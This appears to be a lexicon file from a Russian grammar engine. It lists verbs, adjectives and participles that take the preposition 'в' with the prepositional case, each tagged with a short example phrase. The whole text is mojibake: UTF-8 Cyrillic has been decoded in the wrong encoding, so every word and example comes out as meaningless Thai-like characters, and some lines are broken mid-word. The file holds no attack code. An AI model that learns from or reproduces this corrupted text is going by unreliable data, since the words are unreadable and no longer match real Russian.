rus_verbs:ัะพะฟัะพะฒะพะถะดะฐัั{}, // ัะพะฟัะพะฒะพะถะดะฐัั ะฒ ะพะฟะตัะฐัะธะธ
rus_verbs:ะทะฐะบะฐะฝัะธะฒะฐัััั{}, // ะทะฐะบะฐะฝัะธะฒะฐัััั ะฒ ะดะพัะพะณะต
rus_verbs:ะฟะพัะตะปะธัััั{}, // ะฟะพัะตะปะธัััั ะฒ ะทะฐะณะพัะพะดะฝะพะผ ะดะพะผะต
rus_verbs:ะพั
ะฒะฐััะฒะฐัั{}, // ะพั
ะฒะฐััะฒะฐัั ะฒ ั
ัะพะฝะพะปะพะณะธะธ
rus_verbs:ะทะฐะฟะตัั{}, // ะทะฐะฟะตัั ะฒ ะบะธะฝะพ
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพะฒะพะทะธัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะฟัะพะฒะพะทะธัั ะฒ ะฑะฐะณะฐะถะต
ะณะปะฐะณะพะป:ะฟัะพะฒะพะทะธัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
rus_verbs:ะผะพัะธัั{}, // ะผะพัะธัั ะฒ ัะพััะธัะต
rus_verbs:ะฟะตัะตะฒะตัะฝััััั{}, // ะฟะตัะตะฒะตัะฝััััั ะฒ ะฟะพะปััะต
rus_verbs:ัะปะตัะตัั{}, // ัะปะตัะตัั ะฒ ัะตะฟะปัะต ะบัะฐั
rus_verbs:ัะดะตัะถะฐัั{}, // ัะดะตัะถะฐัั ะฒ ััะบะฐั
rus_verbs:ะฟัะตัะปะตะดะพะฒะฐัั{}, // ะฟัะตัะปะตะดะพะฒะฐัั ะฒ ะปัะฑะพะน ะดััะณะพะน ัััะฐะฝะต
rus_verbs:ะดัะฐัััั{}, // ะดัะฐัััั ะฒ ะฑะฐัะต
rus_verbs:ะฟัะพัะธะดะตัั{}, // ะฟัะพัะธะดะตัั ะฒ ะบะปะฐััะต
rus_verbs:ัะฑะธัะฐัััั{}, // ัะฑะธัะฐัััั ะฒ ะบะฒะฐััะธัะต
rus_verbs:ัะพะดัะพะณะฝััััั{}, // ัะพะดัะพะณะฝััััั ะฒ ะฟัะธัััะฟะต ะพัะฒัะฐัะตะฝะธั
rus_verbs:ะฟัะณะฐัั{}, // ะฟัะณะฐัั ะฒ ะฟัะตััะต
rus_verbs:ะพััะตะฐะณะธัะพะฒะฐัั{}, // ะพััะตะฐะณะธัะพะฒะฐัั ะฒ ะฟัะตััะต
rus_verbs:ะฟัะพะฒะตัััั{}, // ะฟัะพะฒะตัััั ะฒ ะฐะฟะฟะฐัะฐัะต
rus_verbs:ัะฑะตะถะดะฐัั{}, // ัะฑะตะถะดะฐัั ะฒ ะพััััััะฒะธะธ ะฐะปััะตัะฝะฐัะธะฒ
rus_verbs:ะปะตัะฐัั{}, // ะปะตัะฐัั ะฒ ะบะพะผัะพััะฐะฑะตะปัะฝะพะผ ัะฐััะฝะพะผ ัะฐะผะพะปััะต
rus_verbs:ัะพะปะฟะธัััั{}, // ัะพะปะฟะธัััั ะฒ ัะพะนะต
rus_verbs:ะฟะปะฐะฒะฐัั{}, // ะฟะปะฐะฒะฐัั ะฒ ัะฟะตัะธะฐะปัะฝะพะผ ะบะพัััะผะต
rus_verbs:ะฟัะพะฑััั{}, // ะฟัะพะฑััั ะฒ ะฒะพะดะต ัะปะธัะบะพะผ ะดะพะปะณะพ
rus_verbs:ะฟัะธะบะธะฝััั{}, // ะฟัะธะบะธะฝััั ะฒ ัะผะต
rus_verbs:ะทะฐัััััั{}, // ะทะฐัััััั ะฒ ะปะธััะต
rus_verbs:ะผะตัะฐัััั{}, // ะผะตัะฐัััั ะฒ ะบัะพะฒะฐัะต
rus_verbs:ัะถะตัั{}, // ัะถะตัั ะฒ ะฟะตัะบะต
rus_verbs:ัะฐััะปะฐะฑะธัััั{}, // ัะฐััะปะฐะฑะธัััั ะฒ ะฒะฐะฝะฝะพะน
rus_verbs:ััะปัั
ะฐัั{}, // ััะปัั
ะฐัั ะฒ ะฐะฒัะพะฑััะต
rus_verbs:ัะดะตัะถะฐัั{}, // ัะดะตัะถะฐัั ะฒ ะฒะตััะธะบะฐะปัะฝะพะผ ะฟะพะปะพะถะตะฝะธะธ
rus_verbs:ะพะฑัะฐะทะพะฒะฐัััั{}, // ะพะฑัะฐะทะพะฒะฐัััั ะฒ ะฒะตัั
ะฝะธั
ัะปะพัั
ะฐัะผะพััะตัั
rus_verbs:ัะฐััะผะพััะตัั{}, // ัะฐััะผะพััะตัั ะฒ ะบะฐะฟะปะต ะฒะพะดั
rus_verbs:ะฟัะพัะผะพััะตัั{}, // ะฟัะพัะผะพััะตัั ะฒ ะฑัะฐัะทะตัะต
rus_verbs:ััะตััั{}, // ััะตััั ะฒ ะฟะปะฐะฝะฐั
rus_verbs:ัะตะทะถะฐัั{}, // ัะตะทะถะฐัั ะฒ ััะตะน-ัะพ ะผะฐัะธะฝะต
rus_verbs:ะฟะพั
ะพัะพะฝะธัั{}, // ะฟะพั
ะพัะพะฝะธัั ะฒ ะผะตัะทะปะพะน ะทะตะผะปะต
rus_verbs:ัะฐัััะฝััััั{}, // ัะฐัััะฝััััั ะฒ ัะฐััะปะฐะฑะปะตะฝะฝะพะน ะฟะพะทะต
rus_verbs:ะพะฑะฝะฐััะถะธัััั{}, // ะพะฑะฝะฐััะถะธัััั ะฒ ััะถะพะน ััะผะบะต
rus_verbs:ะณัะปััั{}, // ะณัะปััั ะฒ ะฟะฐัะบะต
rus_verbs:ััะพะฝััั{}, // ััะพะฝััั ะฒ ัะตะบะต
rus_verbs:ะทะฐะถะฐัั{}, // ะทะฐะถะฐัั ะฒ ะผะตะดะฒะตะถัะธั
ะพะฑัััะธัั
rus_verbs:ััะพะผะฝะธัััั{}, // ััะพะผะฝะธัััั ะฒ ะพะฑัะตะบัะธะฒะฝะพััะธ
rus_verbs:ัะฐะฝัะตะฒะฐัั{}, // ัะฐะฝัะตะฒะฐัั ะฒ ัะฟะพััะทะฐะปะต
rus_verbs:ะฟัะพะฝะพัะธัััั{}, // ะฟัะพะฝะพัะธัััั ะฒ ะณะพะปะพะฒะต
rus_verbs:ัััะดะธัััั{}, // ัััะดะธัััั ะฒ ะบะพะพะฟะตัะฐัะธะฒะต
ะณะปะฐะณะพะป:ะทะฐััะฟะฐัั{ aux stress="ะทะฐััะฟ^ะฐัั" ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน }, // ะทะฐััะฟะฐัั ะฒ ัะฟะฐะปัะฝะพะผ ะผะตัะบะต
ะธะฝัะธะฝะธัะธะฒ:ะทะฐััะฟะฐัั{ aux stress="ะทะฐััะฟ^ะฐัั" ะฟะตัะตั
ะพะดะฝะพััั:ะฝะตะฟะตัะตั
ะพะดะฝัะน },
rus_verbs:ัััะธัั{}, // ัััะธัั ะฒ ัััะธะปัะฝะพะผ ัะบะฐัั
rus_verbs:ะทะฐัะตะฒะตะปะธัััั{}, // ะทะฐัะตะฒะตะปะธัััั ะฒ ััะฐะฒะต
rus_verbs:ะพะฑะดัะผัะฒะฐัั{}, // ะพะฑะดัะผัะฒะฐัั ะฒ ัะฟะพะบะพะนะฝะพะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ะฟัะพะผะตะปัะบะฝััั{}, // ะฟัะพะผะตะปัะบะฝััั ะฒ ะพะบะฝะต
rus_verbs:ะฟะพััะฐััะฒะพะฒะฐัั{}, // ะฟะพััะฐััะฒะพะฒะฐัั ะฒ ะพะฑััะถะดะตะฝะธะธ
rus_verbs:ะทะฐะบัััั{}, // ะทะฐะบัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะทะฐะฟะธัะฐัั{}, // ะทะฐะฟะธัะฐัั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะทะฐะบััะฒะฐัั{}, // ะทะฐะบััะฒะฐัั ะฒ ะดะพะผะต
rus_verbs:ะทะฐะฑะปะพะบะธัะพะฒะฐัั{}, // ะทะฐะฑะปะพะบะธัะพะฒะฐัั ะฒ ะดะพะผะต
rus_verbs:ะทะฐัะฒะตััะธ{}, // ะ ัะฐะดะฐั
ะทะฐัะฒะตะปะฐ ัะธัะตะฝั
rus_verbs:ะบัะธัะฐัั{}, // ะะฐะบะพะต-ัะพ ะถะธะฒะพัะฝะพะต ะบัะธัะฐะปะพ ะฒ ะฝะพัะฝะพะผ ะปะตัั.
rus_verbs:ะฟะพะณะปะพัะธัั{}, // ัะพัะพะฝ, ะฟะพะณะปะพัะตะฝะฝัะน ะฒ ัะตัะตะฟัะพัะต
rus_verbs:ััะพััั{}, // ะฒะพะนัะบะฐ, ััะพัะฒัะธะต ะฒ ะ ะธะผะต
rus_verbs:ะทะฐะบะฐะปะธัั{}, // ะฒะตัะตัะฐะฝั, ะทะฐะบะฐะปะตะฝะฝัะต ะฒ ะฑะพัั
rus_verbs:ะฒััััะฟะฐัั{}, // ะฟัะธัะปะพัั ะฒััััะฟะฐัั ะฒ ััััะผะต.
rus_verbs:ะฒััััะฟะธัั{}, // ะฟัะธัะปะพัั ะฒััััะฟะธัั ะฒ ััััะผะต.
rus_verbs:ะทะฐะบะพะฟะพัะธัััั{}, // ะััะธ ะทะฐะบะพะฟะพัะธะปะธัั ะฒ ััะฐะฒะต
rus_verbs:ะฒะพัะฟะปะฐะผะตะฝะธัััั{}, // ัะผะตัั, ะฒะพัะฟะปะฐะผะตะฝะธะฒัะฐััั ะฒ ัะธะปะธะฝะดัะต
rus_verbs:ะฒะพัะฟะปะฐะผะตะฝััััั{}, // ัะผะตัั, ะฒะพัะฟะปะฐะผะตะฝัััะฐััั ะฒ ัะธะปะธะฝะดัะต
rus_verbs:ะทะฐะบััะฒะฐัััั{}, // ะทะฐะบััะฒะฐัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะฟัะพะฒะฐะปะธัััั{}, // ะฟัะพะฒะฐะปะธัััั ะฒ ะฟัะพะบะฐัะต
ะดะตะตะฟัะธัะฐััะธะต:ะฐะฒัะพัะธะทะธััััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฐะฒัะพัะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะธะฝัะธะฝะธัะธะฒ:ะฐะฒัะพัะธะทะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฐะฒัะพัะธะทะธัะพะฒะฐัััั ะฒ ัะธััะตะผะต
rus_verbs:ัััะตััะฒะพะฒะฐัั{}, // ัััะตััะฒะพะฒะฐัั ะฒ ะฒะฐะบััะผะต
ะดะตะตะฟัะธัะฐััะธะต:ะฝะฐั
ะพะดััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดะธะฒัะธะนัั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐั
ะพะดััะธะนัั{},
ะณะปะฐะณะพะป:ะฝะฐั
ะพะดะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะธะฝัะธะฝะธัะธะฒ:ะฝะฐั
ะพะดะธัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฝะฐั
ะพะดะธัััั ะฒ ะฒะฐะบััะผะต
rus_verbs:ัะตะณะธัััะธัะพะฒะฐัั{}, // ัะตะณะธัััะธัะพะฒะฐัั ะฒ ะธะฝัะฟะตะบัะธะธ
ะณะปะฐะณะพะป:ะฟะตัะตัะตะณะธัััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟะตัะตัะตะณะธัััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะธะฝัะธะฝะธัะธะฒ:ะฟะตัะตัะตะณะธัััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฟะตัะตัะตะณะธัััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟะตัะตัะตะณะธัััะธัะพะฒะฐัั ะฒ ะธะฝัะฟะตะบัะธะธ
rus_verbs:ะฟะพะบะพะฒััััััั{}, // ะฟะพะบะพะฒััััััั ะฒ ะฝะพัั
rus_verbs:ะพััะฐััั{}, // ะพััะฐััั ะฒ ะบะธะฟััะบะต
rus_verbs:ัะฐัะฟะธะฝะฐัััั{}, // ัะฐัะฟะธะฝะฐัััั ะฒ ะฟัะพะบะปััะธัั
rus_verbs:ะพัะผะตะฝะธัั{}, // ะะธะฝะธััะตัััะฒะพ ัะฒัะทะธ ะฟัะตะดะปะฐะณะฐะตั ะพัะผะตะฝะธัั ะฒะฝัััะตะฝะฝะธะน ัะพัะผะธะฝะณ ะฒ ะ ะพััะธะธ
rus_verbs:ััะพะปะบะฝััััั{}, // ะะผะตัะธะบะฐะฝัะบะธะน ััะผะธะฝะตั ะธ ัะฟะพะฝัะบะธะน ัะฐะฝะบะตั ััะพะปะบะฝัะปะธัั ะฒ ะะตััะธะดัะบะพะผ ะทะฐะปะธะฒะต
rus_verbs:ัะตะฝะธัั{}, // ะะฝ ะพัะตะฝั ัะตะฝะธะป ะฒ ััะฐัััั
ะบัะฐัะบะพััั ะธะทะปะพะถะตะฝะธั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตััะฐััะฝัะน{}, // ะะฝ ะพัะตะฝั ะฝะตััะฐััะตะฝ ะฒ ัะตะผะตะนะฝะพะน ะถะธะทะฝะธ.
rus_verbs:ะพะฑัััะฝะธัััั{}, // ะะฝ ะพะฑัััะฝะธะปัั ะฒ ะปัะฑะฒะธ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะฒะตัะดัะน{}, // ะะฝ ะฝะตัะฒััะด ะฒ ะธััะพัะธะธ.
rus_verbs:ะทะฐะฝะธะผะฐัััั{}, // ะะฝ ะทะฐะฝะธะผะฐะตััั ะฒ ัะธัะฐะปัะฝะพะผ ะทะฐะปะต.
rus_verbs:ะฒัะฐัะฐัััั{}, // ะะฝ ะฒัะฐัะฐะตััั ะฒ ัััะฝัั
ะบััะณะฐั
.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะพะบะพะนะฝัะน{}, // ะะฝ ะฑัะป ัะฟะพะบะพะตะฝ ะธ ัะฒะตัะตะฝ ะฒ ะทะฐะฒััะฐัะฝะตะผ ะดะฝะต.
rus_verbs:ะฑะตะณะฐัั{}, // ะะฝ ะฑะตะณะฐะป ะฟะพ ะณะพัะพะดั ะฒ ะฟะพะธัะบะฐั
ะบะฒะฐััะธัั.
rus_verbs:ะทะฐะบะปััะฐัั{}, // ะะธััะผะพ ะทะฐะบะปััะฐะปะพ ะฒ ัะตะฑะต ะพัะตะฝั ะฒะฐะถะฝัะต ัะฒะตะดะตะฝะธั.
rus_verbs:ััะฐะฑะฐััะฒะฐัั{}, // ะะปะณะพัะธัะผ ััะฐะฑะฐััะฒะฐะตั ะฒ ะฟะพะปะพะฒะธะฝะต ัะปััะฐะตะฒ.
rus_verbs:ัะฟะตัะธะฐะปะธะทะธัะพะฒะฐัััั{}, // ะผั ัะฟะตัะธะฐะปะธะทะธััะตะผัั ะฒ ัะพะทะดะฐะฝะธะธ ัะดะตัะฝะพะณะพ ะพััะถะธั
rus_verbs:ััะฐะฒะฝะธัััั{}, // ะะธะบัะพ ะฝะต ะผะพะถะตั ััะฐะฒะฝะธัััั ั ะฝะธะผ ะฒ ะทะฝะฐะฝะธัั
.
rus_verbs:ะฟัะพะดะพะปะถะฐัั{}, // ะัะพะดะพะปะถะฐะนัะต ะฒ ัะพะผ ะถะต ะดัั
ะต.
rus_verbs:ะณะพะฒะพัะธัั{}, // ะะต ะณะพะฒะพัะธัะต ะพะฑ ััะพะผ ะฒ ะฟัะธัััััะฒะธะธ ััะตััะธั
ะปะธั.
rus_verbs:ะฑะพะปัะฐัั{}, // ะะต ะฑะพะปัะฐะน ะฒ ะฟัะธัััััะฒะธะธ ะฝะฐัะฐะปัะฝะธะบะฐ!
rus_verbs:ะฟัะพะฑะพะปัะฐัััั{}, // ะะต ะฟัะพะฑะพะปัะฐะนัั ะฒ ะฟัะธัััััะฒะธะธ ะฝะฐัะฐะปัะฝะธะบะฐ!
rus_verbs:ะฟะพะฒัะพัะธัั{}, // ะะฝ ะดะพะปะถะตะฝ ะฟะพะฒัะพัะธัั ัะฒะพะธ ะฟะพะบะฐะทะฐะฝะธั ะฒ ะฟัะธัััััะฒะธะธ ัะฒะธะดะตัะตะปะตะน
rus_verbs:ะฟะพะปััะธัั{}, // ัะตะบัะพั ะฟะพะทะดัะฐะฒะธะป ัััะดะตะฝัะพะฒ, ะฟะพะปััะธะฒัะธั
ะฒ ััะพะผ ัะตะผะตัััะต ะฟะพะฒััะตะฝะฝัั ััะธะฟะตะฝะดะธั
rus_verbs:ะฟัะธะพะฑัะตัะฐัั{}, // ะญัั ะตะดั ะผั ะฟัะธะพะฑัะตัะฐะตะผ ะฒ ัะพัะตะดะฝะตะผ ะผะฐะณะฐะทะธะฝะต.
rus_verbs:ัะฐัั
ะพะดะธัััั{}, // ะะฐัะฐ ะธ ะะตัั ัะฐัั
ะพะดัััั ะฒะพ ะฒะทะณะปัะดะฐั
rus_verbs:ัั
ะพะดะธัััั{}, // ะัะต ะดะพัะพะณะธ ัั
ะพะดัััั ะฒ ะะพัะบะฒะต
rus_verbs:ัะฑะธัะฐัั{}, // ัะฑะธัะฐัั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ัะดะพััะพะฒะตัััััั{}, // ะพะฝ ัะดะพััะพะฒะตััะตััั ะฒ ะปะธัะฝะพััะธ ัะฟะตัะธะฐะปะธััะฐ
rus_verbs:ัะตะดะธะฝััััั{}, // ัะตะดะธะฝััััั ะฒ ะฟััััะฝะต
rus_verbs:ัะถะธะฒะฐัััั{}, // ัะถะธะฒะฐัััั ะฒ ะพะดะฝะพะผ ะบะพะปะปะตะบัะธะฒะต
rus_verbs:ัะบะพัััั{}, // ัะบะพัััั ะดััะณะฐ ะฒ ะทะฐะฑัะฒัะธะฒะพััะธ
rus_verbs:ัะธัะฐัั{}, // ะพะฝ ัะธัะฐะป ะพะฑ ััะพะผ ะฒ ะถััะฝะฐะปะต
rus_verbs:ัะพััะพััััั{}, // ะ ะะทัะฐะธะปะต ัะพััะพัััั ะดะพััะพัะฝัะต ะฟะฐัะปะฐะผะตะฝััะบะธะต ะฒัะฑะพัั
rus_verbs:ะฟะพะณะธะฑะฝััั{}, // ะกะฟะธัะพะบ ะฟะพะณะธะฑัะธั
ะฒ ะฐะฒะธะฐะบะฐัะฐัััะพัะต ะฟะพะด ะฏัะพัะปะฐะฒะปะตะผ
rus_verbs:ัะฐะฑะพัะฐัั{}, // ะฏ ัะฐะฑะพัะฐั ะฒ ัะตะฐััะต.
rus_verbs:ะฟัะธะทะฝะฐัั{}, // ะฏ ะฟัะธะทะฝะฐะป ะฒ ะฝัะผ ััะฐัะพะณะพ ะดััะณะฐ.
rus_verbs:ะฟัะตะฟะพะดะฐะฒะฐัั{}, // ะฏ ะฟัะตะฟะพะดะฐั ะฒ ัะฝะธะฒะตััะธัะตัะต.
rus_verbs:ะฟะพะฝะธะผะฐัั{}, // ะฏ ะฟะปะพั
ะพ ะฟะพะฝะธะผะฐั ะฒ ะถะธะฒะพะฟะธัะธ.
rus_verbs:ะฒะพะดะธัััั{}, // ะฝะตะธะทะฒะตััะฝัะน ะฝะฐัะบะต ะทะฒะตัั, ะบะพัะพััะน ะฒะพะดะธััั ะฒ ะถะฐัะบะธั
ััะพะฟะธัะตัะบะธั
ะปะตัะฐั
rus_verbs:ัะฐะทัะฐะทะธัััั{}, // ะ ะะพัะบะฒะต ัะฐะทัะฐะทะธะปะฐัั ัะฟะธะดะตะผะธั ะณัะธะฟะฟะฐ
rus_verbs:ะทะฐะผะตัะตัั{}, // ะฒัั ัะพะปะฟะฐ ะทะฐะผะตัะปะฐ ะฒ ะฒะพัั
ะธัะตะฝะธะธ
rus_verbs:ัะธะดะตัั{}, // ะฏ ะปัะฑะปั ัะธะดะตัั ะฒ ััะพะผ ัะดะพะฑะฝะพะผ ะบัะตัะปะต.
rus_verbs:ะธะดัะธ{}, // ะฏ ะธะดั ะฒ ะฝะตะพะฟัะตะดะตะปัะฝะฝะพะผ ะฝะฐะฟัะฐะฒะปะตะฝะธะธ.
rus_verbs:ะทะฐะฑะพะปะตัั{}, // ะฏ ะทะฐะฑะพะปะตะป ะฒ ะดะพัะพะณะต.
rus_verbs:ะตั
ะฐัั{}, // ะฏ ะตะดั ะฒ ะฐะฒัะพะฑััะต
rus_verbs:ะฒะทััั{}, // ะฏ ะฒะทัะป ะบะฝะธะณั ะฒ ะฑะธะฑะปะธะพัะตะบะต ะฝะฐ ะฝะตะดะตะปั.
rus_verbs:ะฟัะพะฒะตััะธ{}, // ะฎะฝัะต ะณะพะดั ะพะฝ ะฟัะพะฒัะป ะฒ ะัะฐะปะธะธ.
rus_verbs:ะฒััะฐะฒะฐัั{}, // ะญัะพั ัะปััะฐะน ะถะธะฒะพ ะฒััะฐัั ะฒ ะผะพะตะน ะฟะฐะผััะธ.
rus_verbs:ะฒะพะทะฒััะธัั{}, // ะญัะพ ัะพะฑััะธะต ะฒะพะทะฒััะธะปะพ ะตะณะพ ะฒ ะพะฑัะตััะฒะตะฝะฝะพะผ ะผะฝะตะฝะธะธ.
rus_verbs:ะฟัะพะธะทะพะนัะธ{}, // ะญัะพ ะฟัะพะธะทะพัะปะพ ะฒ ะพะดะฝะพะผ ะณะพัะพะดะต ะฒ ะฏะฟะพะฝะธะธ.
rus_verbs:ะฟัะธะฒะธะดะตัััั{}, // ะญัะพ ะผะฝะต ะฟัะธะฒะธะดะตะปะพัั ะฒะพ ัะฝะต.
rus_verbs:ะดะตัะถะฐัััั{}, // ะญัะพ ะดะตะปะพ ะดะตัะถะธััั ะฒ ะฑะพะปััะพะผ ัะตะบัะตัะต.
rus_verbs:ะฟัะธะฒะธัััั{}, // ะญัะพ ะฒััะฐะถะตะฝะธะต ะฝะต ะฟัะธะฒะธะปะพัั ะฒ ััััะบะพะผ ัะทัะบะต.
rus_verbs:ะฒะพัััะฐะฝะพะฒะธัััั{}, // ะญัะธ ะฟะธัะฐัะตะปะธ ะฒะพัััะฐะฝะพะฒะธะปะธัั ะฒ ะฟัะฐะฒะฐั
.
rus_verbs:ะฑััั{}, // ะญัะฐ ะบะฝะธะณะฐ ะตััั ะฒ ะปัะฑะพะผ ะบะฝะธะถะฝะพะผ ะผะฐะณะฐะทะธะฝะต.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพะฟัะปััะฝัะน{}, // ะญัะฐ ะธะดะตั ะพัะตะฝั ะฟะพะฟัะปััะฝะฐ ะฒ ะผะฐััะฐั
.
rus_verbs:ััะผะตัั{}, // ะจัะผะธั ะฒ ะณะพะปะพะฒะต.
rus_verbs:ะพััะฐัััั{}, // ะจะปัะฟะฐ ะพััะฐะปะฐัั ะฒ ะฟะพะตะทะดะต.
rus_verbs:ะฒััะฐะถะฐัััั{}, // ะฅะฐัะฐะบัะตั ะฟะธัะฐัะตะปั ะปัััะต ะฒัะตะณะพ ะฒััะฐะถะฐะตััั ะฒ ะตะณะพ ะฟัะพะธะทะฒะตะดะตะฝะธัั
.
rus_verbs:ะฒะพัะฟะธัะฐัั{}, // ะฃัะธัะตะปัะฝะธัะฐ ะฒะพัะฟะธัะฐะปะฐ ะฒ ะดะตััั
ะปัะฑะพะฒั ะบ ะฟัะธัะพะดะต.
rus_verbs:ะฟะตัะตัะพั
ะฝััั{}, // ะฃ ะผะตะฝั ะฒ ะณะพัะปะต ะฟะตัะตัะพั
ะปะพ.
rus_verbs:ัะตะบะพัะฐัั{}, // ะฃ ะผะตะฝั ะฒ ะณะพัะปะต ัะตะบะพัะตั.
rus_verbs:ะบะพะปะพัั{}, // ะฃ ะผะตะฝั ะฒ ะฑะพะบั ะบะพะปะตั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฒะตะถะธะน{}, // ะกะพะฑััะธะต ะตัั ัะฒะตะถะพ ะฒ ะฟะฐะผััะธ.
rus_verbs:ัะพะฑัะฐัั{}, // ะกะพะฑะตัะธัะต ะฒัะตั
ััะตะฝะธะบะพะฒ ะฒะพ ะดะฒะพัะต.
rus_verbs:ะฑะตะปะตัั{}, // ะกะฝะตะณ ะฑะตะปะตะตั ะฒ ะณะพัะฐั
.
rus_verbs:ัะดะตะปะฐัั{}, // ะกะบะพะปัะบะพ ะพััะพะณัะฐัะธัะตัะบะธั
ะพัะธะฑะพะบ ัั ัะดะตะปะฐะป ะฒ ะดะธะบัะฐะฝัะต?
rus_verbs:ัะฐััั{}, // ะกะฐั
ะฐั ัะฐะตั ะฒ ะบะธะฟััะบะต.
rus_verbs:ะถะฐัั{}, // ะกะฐะฟะพะณ ะถะผัั ะฒ ะฟะพะดััะผะต.
rus_verbs:ะฒะพะทะธัััั{}, // ะ ะตะฑััะฐ ะฒะพะทัััั ะฒ ัะณะปั.
rus_verbs:ัะฐัะฟะพััะถะฐัััั{}, // ะัะพัั ะฝะต ัะฐัะฟะพััะถะฐัััั ะฒ ััะถะพะผ ะดะพะผะต.
rus_verbs:ะบััะถะธัััั{}, // ะะฝะธ ะบััะถะธะปะธัั ะฒ ะฒะฐะปััะต.
rus_verbs:ะฒัััะฐะฒะปััั{}, // ะะฝะธ ะฒัััะฐะฒะปััั ะตะณะพ ะฒ ัะผะตัะฝะพะผ ะฒะธะดะต.
rus_verbs:ะฑัะฒะฐัั{}, // ะะฝะฐ ัะฐััะพ ะฑัะฒะฐะตั ะฒ ะพะฑัะตััะฒะต.
rus_verbs:ะฟะตัั{}, // ะะฝะฐ ะฟะพัั ะฒ ะพะฟะตัะต.
rus_verbs:ัะพะนัะธัั{}, // ะัะต ัะฒะธะดะตัะตะปะธ ัะพัะปะธัั ะฒ ัะฒะพะธั
ะฟะพะบะฐะทะฐะฝะธัั
.
rus_verbs:ะฒะฐะปััััั{}, // ะะตัะธ ะฒะฐะปัะปะธัั ะฒ ะฑะตัะฟะพััะดะบะต.
rus_verbs:ะฟัะพะนัะธ{}, // ะะตัั ะดะตะฝั ะฟัะพััะป ะฒ ะฑะตะณะพัะฝะต.
rus_verbs:ะฟัะพะดะฐะฒะฐัั{}, // ะ ััะพะผ ะผะฐะณะฐะทะธะฝะต ะฟัะพะดะฐัั ะพะฑัะฒั.
rus_verbs:ะทะฐะบะปััะฐัััั{}, // ะ ััะพะผ ะทะฐะบะปััะฐะตััั ะฒัั ัััะฝะพััั.
rus_verbs:ะทะฒะตะฝะตัั{}, // ะ ััะฐั
ะทะฒะตะฝะธั.
rus_verbs:ะฟัะพัััะฟะธัั{}, // ะ ััะผะฐะฝะต ะฟัะพัััะฟะธะปะธ ะพัะตััะฐะฝะธั ะบะพัะฐะฑะปั.
rus_verbs:ะฑะธัั{}, // ะ ัะฐะดั ะฑััั ัะพะฝัะฐะฝ.
rus_verbs:ะฟัะพัะบะพะปัะทะฝััั{}, // ะ ัะตัะธ ะฟัะพัะบะพะปัะทะฝัะป ัะฟััะบ.
rus_verbs:ะพััะฐะฒะธัั{}, // ะะต ะพััะฐะฒั ัะพะฒะฐัะธัะฐ ะฒ ะพะฟะฐัะฝะพััะธ.
rus_verbs:ะฟัะพะณัะปััั{}, // ะั ะฟัะพะณัะปัะปะธ ัะฐั ะฒ ะฟะฐัะบะต.
rus_verbs:ะฟะตัะตะฑะธัั{}, // ะั ะฟะตัะตะฑะธะปะธ ะฒัะฐะณะพะฒ ะฒ ะฑะพั.
rus_verbs:ะพััะฐะฝะพะฒะธัััั{}, // ะั ะพััะฐะฝะพะฒะธะปะธัั ะฒ ะฟะตัะฒะพะน ะฟะพะฟะฐะฒัะตะนัั ะณะพััะธะฝะธัะต.
rus_verbs:ะฒะธะดะตัั{}, // ะะฝ ะผะฝะพะณะพะต ะฒะธะดะตะป ะฒ ะถะธะทะฝะธ.
// ะณะปะฐะณะพะป:ะฟัะพั
ะพะดะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะะตัะตะดะฐ ะฟัะพั
ะพะดะธะปะฐ ะฒ ะดััะถะตััะฒะตะฝะฝะพะน ะฐัะผะพััะตัะต.
rus_verbs:ะฟะพะดะฐัั{}, // ะะฒัะพั ะฟะพะดะฐะป ัะฒะพะธั
ะณะตัะพะตะฒ ะฒ ัะตะฐะปะธััะธัะตัะบะธั
ัะพะฝะฐั
.
rus_verbs:ะบะธะฝััั{}, // ะะฝ ะบะธะฝัะป ะผะตะฝั ะฒ ะฑะตะดะต.
rus_verbs:ะฟัะธั
ะพะดะธัั{}, // ะัะธั
ะพะดะธ ะฒ ัะตะฝััะฑัะต
rus_verbs:ะฒะพัะบัะตัะฐัั{}, // ะฒะพัะบัะตัะฐัั ะฒ ะฟะฐะผััะธ
rus_verbs:ัะพะตะดะธะฝััั{}, // ัะพะตะดะธะฝััั ะฒ ัะตะฑะต
rus_verbs:ัะฐะทะฑะธัะฐัััั{}, // ัะผะตะฝะธะต ัะฐะทะฑะธัะฐัััั ะฒ ะฒะตัะฐั
rus_verbs:ะดะตะปะฐัั{}, // ะ ะตั ะบะพะผะฝะฐัะต ะดะตะปะฐะปะธ ะพะฑััะบ.
rus_verbs:ะฒะพัะฐัะธัััั{}, // ะ ะทะฐะปะต ะฒะพัะฐัะธะปะฐัั ะณะปัะฑะพะบะฐั ัะธัะธะฝะฐ.
